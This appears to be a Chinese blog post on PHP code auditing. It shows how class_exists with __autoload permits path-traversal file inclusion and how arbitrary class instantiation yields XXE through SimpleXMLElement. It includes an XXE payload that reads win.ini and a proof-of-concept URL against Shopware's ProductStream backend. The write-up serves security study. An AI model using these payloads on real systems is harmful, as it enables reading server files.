PHP审计之class_exists与任意实例化漏洞

前言

发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.

class_exists函数

函数说明

class_exists:(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

函数漏洞

class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

实例分析

结合上面的class_exists函数漏洞, 来看到上面的代码。

接受值过来$controllerName过来然后调用class_exists将该变量传入,而class_exists$autoload参数值并未进行设置,该参数默认为True,则会自动调用本类中的__autoload函数,这个函数恰巧进行了文件包含,即任意文件包含漏洞。

看到第九行代码,这个位置new了一个接受过来的参数值,则可用实现任意的类实例化。但是在该代码中没有一些能直接在__construct构造函数中实现命令执行或其他操作的类。

所以这里利用SimpleXMLElement类来实现实例化中实现一个XXE。

看到demo

<?php
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?> //结果:
object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }

win.ini内容被读取。

代码审计

这里拿Shopware 来做一个审计

漏洞点在在 engine\Shopware\Controllers\Backend\ProductStream.phploadPreviewAction方法中。

路由访问则/Backend/ProductStream/loadPreviewAction

看到loadPreviewAction方法代码

    public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true); $sorting = $this->Request()->getParam('sort'); $criteria = new Criteria(); /** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting); foreach ($sorting as $sort) {
$criteria->addSorting($sort);
} $conditions = $streamRepo->unserialize($conditions);

接收sort参数的值然后进行json_decode,而后

这里获取shopware_product_stream.repository内容,然后调用unserialize

    public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
}

跟踪这个unserialize

LogawareReflectionHelper.phpunserialize代码

 public function unserialize($serialized, $errorSource)
{
$classes = []; foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0]; try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
} return $classes;
}

遍历$serialized,这个$serialized是我们sort传递并且进行json_deocode解密后的数据。

随后调用createInstanceFromNamedArguments,跟进了一下方法,发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

 public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className); if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
} $constructorParams = $reflectionClass->getConstructor()->getParameters(); $newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName(); if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue(); continue;
} $newParams[] = $arguments[$paramName];
} return $reflectionClass->newInstanceArgs($newParams);
}

分析完以上的,其实显而易见和上面的实例一样是一个任意实例化漏洞。

那么也可以借助SimpleXMLElement类来实现一个XXE的效果,当然也可以去寻找一些__construct函数中有做其他操作例如命令执行或文件读取的也可以利用上。

POC如下:

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25

参考文章

代码审计Day3 - 实例化任意对象漏洞

php代码审计危险函数总结

PHP审计之class_exists与任意实例化漏洞的更多相关文章

  1. PHP代码审计03之实例化任意对象漏洞

    前言 根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固.之前分别学习讲解了in_arr ...

  2. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  3. 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

      0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www ...

  4. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  5. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  7. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  8. IIS 6.0 PUT上传 任意文件创建漏洞

    IIS 6.0 PUT上传 任意文件创建漏洞 require 1.IIS Server在Web服务扩展中开启了WebDAV. 2.IIS配置了可以写入的权限,包括网站 1.根目录 2.子文件夹 3.i ...

  9. 任意文件下载漏洞的接口URL构造分析与讨论

    文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...

随机推荐

  1. Linux centos 安装 JDK 8

    一.下载JDK 官方下载 # 下载地址 https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151. ...

  2. final 关键字,你想知道的都在这里

    哈喽,大家好,我是指北君. 介绍完 native.static 关键字后,指北君马不停蹄,接着为大家介绍另一个常用的关键字--final. 对于Java中的 final 关键字,我们首先可以从字面意思 ...

  3. Ubuntu中配置tomcat

    1.从网上下载的tomcat配置失败后,servername那一栏写不了,必须要删除工作空间的配置文件 sudo rm /home/{username}/workspace/.metadata/.pl ...

  4. C# - Timer 实现跑马灯

  5. tomcat漏洞总结

    描述 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache.Sun 和其他一些公司及个人共同开发而成.由 ...

  6. noip模拟题7

    目录 T1:匹配 T2:回家 思路 上代码: T3:寿司 基本思路: 上代码: T1:匹配 ##思路:   首先,这道题既可以用KMP,也可以用hash   先说KMP,首先要注意的一点是:KMP的n ...

  7. Cython 模块扩展 - 编程语言 替代实现 应用领域 汇总一览

    Python 本身只是一种编程语言规范,可以使用其它编程语言实现它或扩展它:譬如:采有 Python C Java .Net 等重实现 Python,而采用 Python C/C++ C# Java ...

  8. MongoDB(3)- Database 数据库相关

    Database MongoDB 将数据记录存储为文档(特别是 BSON 文档) 这些文档在集合中聚集在一起 数据库存储一个或多个文档集合. 在 MongoDB 里面存在数据库的概念,但没有模式 Sh ...

  9. linux 命令进阶篇之二

    一.预备知识 选取init的进程. cat :由第一行开始显示文件内容 tac:由最后一行开始显示,有没有发现和cat是反过来写的 more:一页一页的显示内容 less:与more相似,但是可以往前 ...

  10. Spring Cloud Eureka 之服务端自我注册

    Eureka服务端实现了一种自我注册机制,涉及配置项: eureka.client.register-with-eureka spring.application.name Eureka Server ...